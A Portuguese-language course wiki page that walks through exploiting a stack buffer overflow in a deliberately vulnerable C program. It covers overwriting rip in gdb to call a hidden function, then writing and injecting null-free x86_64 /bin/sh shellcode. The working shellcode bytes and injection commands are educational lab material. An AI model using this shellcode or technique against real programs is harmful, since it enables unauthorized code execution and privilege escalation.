Skip to content

Secure Code

João Medeiros edited this page Apr 18, 2023 · 2 revisions

Introduction

Buffer Overflow

No contexto de código seguro, um buffer overflow ocorre quando um programa em execução tenta gravar dados além do espaço de memória associado à uma determinada variável. Este tipo de prática pode ser utilizado para substituir o valor de registradores que determinam o fluxo de execução do programa. Nesse caso, ao explorar uma falha como essa, seria possível introduzir código objeto no espaço associado ao buffer e colocar o endereço desse código no registrador de instrução. Dessa forma, seria possível executar código arbitrário em um computador com a permissão do usuário associado ao programa que está sendo executado. Se uma falha como esse for encontrada em programas como o passwd ou su, isso pode implicar em acesso superusuário não autorizado.

NOTA - É possível verificar que programas possuem acesso de superusuário com o seguinte comando.

term@sec$ find /usr -user root -perm -4000 -exec ls -ldb {} \;

Nesse documento, é apresentada de forma detalhada a reprodução de um o processo de exploração de buffer overflow e de como é possível evitá-la.

Exemplo

Considere o programa em C escrito abaixo.

#include <stdio.h>
#include <string.h>

void secret(void)
{
    printf("access granted!\n");
}

int main(int argc, char *argv[])
{
    char buffer[512];

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    return 0;
}

O código acima recebe como parâmetro do terminal uma string armazenada em argv[1] e a copia para a posição de memória associada a vairável buffer. Após isso, reproduz o conteúdo copiado em buffer na saída do programa e termina. Verifica-se que a função secret() não é utilizada no código. A seguir, é inicialmente demonstrado como é possível executar a função secret() explorando um buffer overflow na variável buffer.

Compilação

O próximo passo é gerar o código objeto do programa. Normalmente, basta utilizar o compilador (nesse caso, o gcc) como descrito abaixo.

term@sec$ gcc example.c -o example

Em alguns casos, é necessário adicionar algumas opções ao processo de compilação. Se algum problema for identificado mais adiante, talvez seja necessário passar algumas opções para o compilador ou linker. Se for esse o caso, para compilar o código, utilize as opções -fno-stack-protector do compilador gcc (para desabilitar a verificação extra do compilador para buffer overflow) e -z execstack para que o gcc repasse para o linker ld a opção execstack (para definir que o código objeto gerado possua um stack executável).

term@sec$ gcc -fno-stack-protector -z execstack example.c -o example

NOTA - A opção de proteção da pilha (-fstack-protector) foi introduzida no GCC 4.1 em 2005 como uma forma de dificultar a exploração de buffer overflow (ver mais).

Limites

O código objeto compilado deve receber uma string como argumento via terminal e, utilização da função strcpy() copiar essa string na posição de memória associada à variável buffer. Após isso, o conteúdo em buffer é apresentado no terminal pela função printf().

term@sec$ ./example my-content-by-argument
my-content-by-argument

Como no código não há limitação da quantidade de caracteres que podem ser copiados para buffer, é possível criar uma string grande o suficiente para escrever nas posições de memória além dos 512 bytes associados à variável.

Dessa forma, é possível tentar sobrescrever o registrador de instrução que fica nas posições de memória mais altas da memória do programa. Utilizando alguma linguagem de script para gerar strings do tamanho desejado pode ajudar a descobrir o tamanho necessário para que esse registrador seja alterado.

Abaixo é demonstrado como utilizar o python para criar uma string de composta por letras A de tamanho 70.

term@sec$ ./example $(python -c "print('A' * 70)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Para descobrir qual o valor correto, deve-se aumentar o tamanho até que occorra uma falha de segmentação (segmentation fault). Como a variável buffer possui 512 bytes alocados, deve-se utilizar um valor inicial maior que 512. Esse valor deve ser aumentado até que apareca menssagem de falha de segmentação.

term@sec$ ./example $(python -c "print('A' * 519)")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
term@sec$ ./example $(python -c "print('A' * 520)")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

A seguir é utilizado o debugger GDB para analisar a execução do programa objeto e tentar idenficar como executar a função secret().

Revelação

A seguir, o debugger gdb é utilizado para carregar o código objeto example com a opção --quiet para suprimir mensagens introdutórias e de copyright.

term@sec$ gdb --quiet example
Reading symbols from example...
(No debugging symbols found in example)
(gdb) 

É possível utilizar o comando run para executar o programa carregado pelo debugger. Os argumentos para execução do programa podem ser passados logo após o comando. Utilizando o tamanho do argumento encontrado anteriormente, $(python -c "print('A' * 520)"), é possível replicar a falha de segmentação dentro do ambiente de depuração.

(gdb) run $(python -c "print('A' * 520)")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e04d00 in __libc_start_main (main=0x555555555158 <main>, argc=2, 
    argv=0x7fffffffe048, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffe038)
    at ../csu/libc-start.c:308
(gdb) 

Agora, dentro do debugger, é possível verificar que a falha de segmentação ocorre na função __libc_start_main() definida na linha 308 do arquivo csu/libc-start.c da GNU C Library (quando compilada). Essa função tem como finalidade executar a inicialização necessária do ambiente de execução, chamar a função principal main() do programa com os argumentos apropriados e manipular o seu retorno. Dado que a falha de segmentação ocorreu na instrução presente na posição de memória 0x00007ffff7e04d00, é possível utilizar o comando disassemble para verificar a instrução em linguagem de montagem (assembly).

(gdb) disassemble 0x00007ffff7e04d00,+1
Dump of assembler code from 0x7ffff7e04d00 to 0x7ffff7e04d01:
=> 0x00007ffff7e04d00 <__libc_start_main+224>:	mov    (%rax),%rdx
End of assembler dump.
(gdb) 

A instrução que causou a falha de segmentação (mov (%rax),%rdx) lê o counteúdo da posição de memória armazenada em rax e armazena-o no registrador rdx. Para entender a falha de segmentação, é possível verificar o valor desses registradores no momento em que ela occoreu. Isso pode ser feito em seguida pelo comando info registers do gdb.

(gdb) info registers
rax            0x0                 0
[...]
rbp            0x4141414141414141  0x4141414141414141
[...]
rip            0x7ffff7df4d00      0x7ffff7df4d00 <__libc_start_main+224>
[...]
(gdb) 

É possível verificar que o endereço armazenado em rax é 0x0, logo a tentativa de ler essa posição de memória causou a falha de segmentação.

O que pode-se verificar é que, ao explorar o buffer overflow passando uma string de 520 caracters 'A', o registrador rbp foi sobrescrito com o valor 0x4141414141414141 (equivalente em ASCII a AAAAAAAA). O registrador rbp, denominado base pointer, aponta para a base do stack frame atual. Pode-se aumentar a string do argumento para verificar qual outro registrador pode ser alterado.

(gdb) run $(python -c "print('A' * 520 + 'BBBBBB')")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb)

No exemplo acima, foi adicionada a sequência 'BBBBBB' ao final da string. Isso fez com que o endereço de falha de segmentação fosse alterado para 0x0000424242424242 (sendo que 0x42 é B em ASCII).

(gdb) info registers
[...]
rbp            0x4141414141414141  0x4141414141414141
[...]
rip            0x424242424242      0x424242424242
[...]
(gdb)

Verificando novamente os registradores é possível identificar que o o registrador rip foi alterado para conter a string 'BBBBBB' (ou seja, o endereço 0x424242424242). O registrador de propósito específico rip guarda o endereço de memória da próxima instrução a ser executada no seguimento de código do programa. Portanto, é possível utilizar o buffer overflow para forçar que um endereço de memória específico seja executado.

Sucesso

Para atingir o objetivo inicial, é necessário colocar o endereço da função secret() no registrador rip. O endereço da função pode ser verificado com o comando info address.

(gdb) info address secret
Symbol "secret" is at 0x555555555145 in a file compiled without debugging.
(gdb)

A função secret() está localizada na posição 0x555555555145 da memória do programa. Para executá-la, é necessário adicionar esse endereço no final da string. Porém, como a arquitetura em questão é little endian, é necessário inverter os bytes: '\x45\x51\x55\x55\x55\x55'.

(gdb) run $(python -c "print('A' * 520 + '\x45\x51\x55\x55\x55\x55')")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQUUUU
access granted!

Program received signal SIGILL, Illegal instruction.
0x00007fffffffe048 in ?? ()
(gdb) 

Com a saída de texto do programa 'access granted!', confirma-se que a função secret() foi executada.

Code Injection

A utilização de buffer overflow para substituir o endereço no registrador de ponteiro de instrução pode ser utilizado para executar um trecho de código específico dentro da memória do programa. Considerando o caso em que o código objeto que deseja ser executado não faça parte do programa em que a falha está sendo explorada, é necessário criar esse trecho de código e inseri-lo dentro da memória do programa. Para entender como isso é possível, escrever códigos em linguagem de montagem é um exercício fundamental para entender como um programa se comunica com o sistema operacional.

Básico

Para prosseguir nesse estudo, é necessário conhecer a arquitetura e o sistema opereracional utilizado no experimento. Isso pode ser feito com a ajuda do comando uname -svm.

term@sec$ uname -svm
Linux #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

Verifica-se portanto que, enquanto esse documento é escrito, está sendo utilizado o sistema operacional Linux, com Kernel na versão 5.10.92-1 da distribuição Debian em uma máquina com arquitetura x86_64. Essa informação é relevante, dentre outros motivos, para identificar os requisitos do código objeto que deve ser gerado para ser inserido em programas que executam nessa arquitetura. Porém, antes de escrever código em linguagem de montagem, considere o seguinte progama minimalista escrito em linguagem C.

#include <stdlib.h>

void main(void)
{
    exit(0);
}

Em termos gerais, esse programa apenas inicia a função main() e termina sua execução em seguida com uma chamada de sistema a função exit() passando como parâmetro o valor 0 (zero). Um programa que simplismente termina de forma correta é um ponto de partida razoável para entender como o programa em questão se comunica com o sistema operacional. Para que possamos escrever um programa equivalente em linguagem de montagem, é necessário compreender que a comunicação com o sistema operacional se dá por meio de passagem de parâmetros por registradores e uma posterior chamada de sistema. No exemplo minimalísta em C, a função exit() é responsável, dentre outras coisas, por utilizar a chamada de sistema exit. Utilizando o comando man 2 exit, é possível verificar a seguinte sinopse da chamada de sistema.

SYNOPSIS
       #include <unistd.h>

       void _exit(int status);

Cada função de chamada de sistema possui um número associado, definido pelo sistema operacional, que é utilizado para informá-lo por meio de um registrador. No caso da arquitetura em questão, esse registrador é o rax. Dessa forma, para que o sistema operacional execute a chamada exit, é necessário descobrir o valor associado à ela. Como descrito no trecho do manual acima, essa informação pode ser encontrado no arquivo unistd.h. Na máquina utilizada nesse experimento, essa informação encontra-se no arquivo /usr/include/x86_64-linux-gnu/asm/unistd_64.h.

[...]
#define __NR_exit 60
[...]

Portanto, para que o sistema operacional execute a chamada exit, é necessário antes colocar no registrador rax o valor 60. Isso pode ser feito com o operador mov, resultando na instrução: mov rax, 60. Em seguida, é necessário informar o parâmetro status 0 da função exit. Isso deve ser feito por meio do registrador rdi. Utilizando novamente o operador mov, tem-se a instrução : mov rdi, 0. Após essas duas instruções, é possível realizar a chamada de sistema exit utilizando a chamada syscall. A seguir, é apresentado o programa equivalente em linguagem de montagem para a arquitetura Intel x86_64.

        global _start          ; ponteiro de entrada padrao

        section .text          ; segmento de texto
_start: mov rax, 60            ; rax <- exit syscall number
        mov rdi, 0             ; exit 1o parametro (0)
        syscall                ; chamada de sistema

Além das instruções descritas para realizar a chamada de sistema, tem-se nas duas primeiras linhas: (1) o uso da diretiva global e do rótulo _start para indicar ao linker o endereço de memória que deve ser executado no início do programa; e (2) o uso da diretiva section para indicar o começo do segmento de texto .text do programa.

NOTA - No contexto de programação em linguagem de montagem, tem-se que o programa pode ser dividio em até 3 segmentos principais: .text, .data e .bss. O primeiro é para o código em si, o segundo para dados inicializados e o terceiro para dados não inicializados (ver mais).

Para transformar o programa em linaguem de montagem acima em código objeto executável, é possível utitilizar o assembler nasm e o linker ld.

term@sec$ nasm -f elf64 minimal.asm
term@sec$ ld minimal.o -o minimal

A opção -f elf64 do comando nasm indica o formato de código objeto que deve ser gerado pelo nasm. Nesse experimeto, o tipo deve ser ELF64, uma vez que a arquitetura da máquina é x86_64. O programa nasm utiliza a descrição em linguagem de montagem minimal.asm para criar o código objeto minimal.o no formato ELF64. Após isso, o programa ld processa o código objeto minimal.o para criar o arquivo executável minimal (nome indicado pela opção -o).

term@sec$ ./minimal
term@sec$ echo $?
0

Como esperado, a execução do programa inicia e termina com sucesso. É possível verificar o valor do parâmetro da chamada de sistema exit(0) imprimindo com o comando echo o conteúdo da variável de ambiente $?, que guarda o falor de retorno do último programa executado.

NOTA - Como exercício, pode-se verificar que ao alterar a instrução mov rdi, 0 para, por exemplo, mov rdi, 1 o valor de retorno verificado pelo comando echo $? passa a ser 1.

Shellcode

No arquivo /usr/include/x86_64-linux-gnu/asm/unistd_64.h.

[...]
#define __NR_execve 59
#define __NR_exit 60
[...]

Manual man execve.

SYNOPSIS
       #include <unistd.h>

       int execve(const char *pathname, char *const argv[],
                  char *const envp[]);

Adicionando a chamada de sistema para executar o programa /bin/sh.

        global _start          ; ponteiro de entrada padrao

        section .data          ; segmento de dados
cmd:    db "/bin/sh", 0        ; path + '\0'

        section .text          ; segmento de texto
_start: mov rax, 59            ; rax <- execve syscall number 
        mov rdi, cmd           ; write 1o parametro (path)
        mov rsi, 0             ; write 2o parametro (argv)
        mov rdx, 0             ; write 3o parametro (envp)
        syscall                ; chamada de sistema
        mov rax, 60            ; rax <- exit syscall number
        mov rdi, 0             ; exit 1o parametro (0)
        syscall                ; chamada de sistema

Utilizando o assembler nasm e o linker ld.

term@sec$ nasm -f elf64 shell.asm
term@sec$ ld shell.o -o shell

Verificando a criação de uma novo processo sh.

term@sec$ ps
    PID TTY          TIME CMD
   2667 pts/0    00:00:00 bash
  10535 pts/0    00:00:00 ps
term@sec$ ./shell 
$ ps      
    PID TTY          TIME CMD
   2667 pts/0    00:00:00 bash
  10537 pts/0    00:00:00 sh
  10538 pts/0    00:00:00 ps
$ 

Para montar o código hexadecimal a ser injetado no buffer é preciso extrair os bytes na seção ou seguimento de texto .text. Isso pode ser feito com o programa objdump usando a opção de disassemble -D.

term@sec$ objdump -D shell

shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:	b8 3b 00 00 00       	mov    $0x3b,%eax
  401005:	48 bf 00 20 40 00 00 	movabs $0x402000,%rdi
  40100c:	00 00 00 
  40100f:	be 00 00 00 00       	mov    $0x0,%esi
  401014:	ba 00 00 00 00       	mov    $0x0,%edx
  401019:	0f 05                	syscall 
  40101b:	b8 3c 00 00 00       	mov    $0x3c,%eax
  401020:	bf 00 00 00 00       	mov    $0x0,%edi
  401025:	0f 05                	syscall 

Disassembly of section .data:

0000000000402000 <cmd>:
  402000:	2f                   	(bad)  
  402001:	62                   	(bad)  
  402002:	69                   	.byte 0x69
  402003:	6e                   	outsb  %ds:(%rsi),(%dx)
  402004:	2f                   	(bad)  
  402005:	73 68                	jae    40206f <__bss_start+0x67>
	...
  1. Existência de bytes nulos inviabiliza a passagem do shellcode pela função strcpy(); e
  2. Para referênciar endereços no segmento de dados .data é necessário recalcular com base no novo local onde será inserido no programa alvo.

O registrador rax pode ter seus bytes menos significativos acessados utilizando os nomes de registradores de arquiteturas anteriores.

 rax (64 bits)
|----------------------------------------------------------------|
                                 eax (32 bits)
                                |--------------------------------|
                                                 ax (16 bits)
                                                |----------------|
                                                 ah byte
                                                |--------|
                                                         al byte
                                                        |--------|

Reescrevendo o código em linguagem de montagem.

        global _start               ; ponteiro de entrada padrao

        section .text               ; segmento de texto
_start: 
        xor rax, rax                ; fill with 0's
        push rax                    ; push string terminator 0 ~ '\0'
        push dword "//bi"           ; push the first 4 path bytes
        mov dword [rsp + 4], "n/sh" ; move right the 4 remaining bytes
        mov al, 59                  ; rax <- execve syscall number 
        mov rdi, rsp                ; write 1o parametro (path)
        xor rsi, rsi                ; write 2o parametro (argv)
        xor rdx, rdx                ; write 3o parametro (envp)
        syscall                     ; chamada de sistema
        mov al, 60                  ; rax <- exit syscall number
        xor rdi, rdi                ; exit 1o parametro (0)
        syscall                     ; chamada de sistema

Verificando novamente a saída do objdump.

term@sec$ objdump -D shell-dc

shell-dc:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:	48 31 c0             	xor    %rax,%rax
  401003:	50                   	push   %rax
  401004:	68 2f 2f 62 69       	pushq  $0x69622f2f
  401009:	c7 44 24 04 6e 2f 73 	movl   $0x68732f6e,0x4(%rsp)
  401010:	68 
  401011:	b0 3b                	mov    $0x3b,%al
  401013:	48 89 e7             	mov    %rsp,%rdi
  401016:	48 31 f6             	xor    %rsi,%rsi
  401019:	48 31 d2             	xor    %rdx,%rdx
  40101c:	0f 05                	syscall 
  40101e:	b0 3c                	mov    $0x3c,%al
  401020:	48 31 ff             	xor    %rdi,%rdi
  401023:	0f 05                	syscall 

Utilizando o programa utilitário extract.awk presente no repositório class-security.

term@sec$ objdump -d shell | ./extract.awk
\x48\x31\xc0\x50\x68\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\xb0\x3b
\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x48\x31\xff\x0f\x05

Sucesso

Para executar o shellcode injetado no buffer é necessário descobrir o endereço de onde o código será inserido. Para essa tarefa é possível utilizar o comando x do gdb, que apresenta o conteúdo de memória de um dado endereço.

(gdb) x /32x ($rsp - 560)
0x7fffffffdd30:	0x00000000	0x00000000	0x5555519f	0x00005555
0x7fffffffdd40:	0xffffe048	0x00007fff	0x03ae75f6	0x00000002
0x7fffffffdd50:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffdd60:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffdd70:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffdd80:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffdd90:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffdda0:	0x41414141	0x41414141	0x41414141	0x41414141
(gdb) 

No exemplo acima, o comando x é seguido da opção /32x que indica que deve ser apresentado o conteúdo de 32 endereços no formato hexadecimal a partir do endereço ($rsp - 560), onde $rsp indica o endereço do topo da pilha. Como os bytes 41 representam a sequência de letras A, tem-se que o código a ser injetado ficará, nesse exemplo, no endereço de memória 0x7fffffffdd50.

Utilizando o programa utilitário injection.py presente no repositório class-security.

term@sec$ ./injection.py 42 50ddffffff7f `objdump -d shell | ./extract.awk` | xxd
00000000: 9090 4831 c050 682f 2f62 69c7 4424 046e  ..H1.Ph//bi.D$.n
00000010: 2f73 68b0 3b48 89e7 4831 f648 31d2 0f05  /sh.;H..H1.H1...
00000020: b03c 4831 ff0f 0590 9090 50dd ffff ff7f  .<H1......P.....

Agora basta reproduzir o comando dentro do debugger.

(gdb) run $(./injection.py 520 50ddffffff7f `objdump -d shell | ./extract.awk`)
[...]
process 9404 is executing new program: /usr/bin/dash
$ id -u
[Detaching after vfork from child process 9412]
1000
$ exit
[Inferior 1 (process 9404) exited normally]
(gdb) 

Clone this wiki locally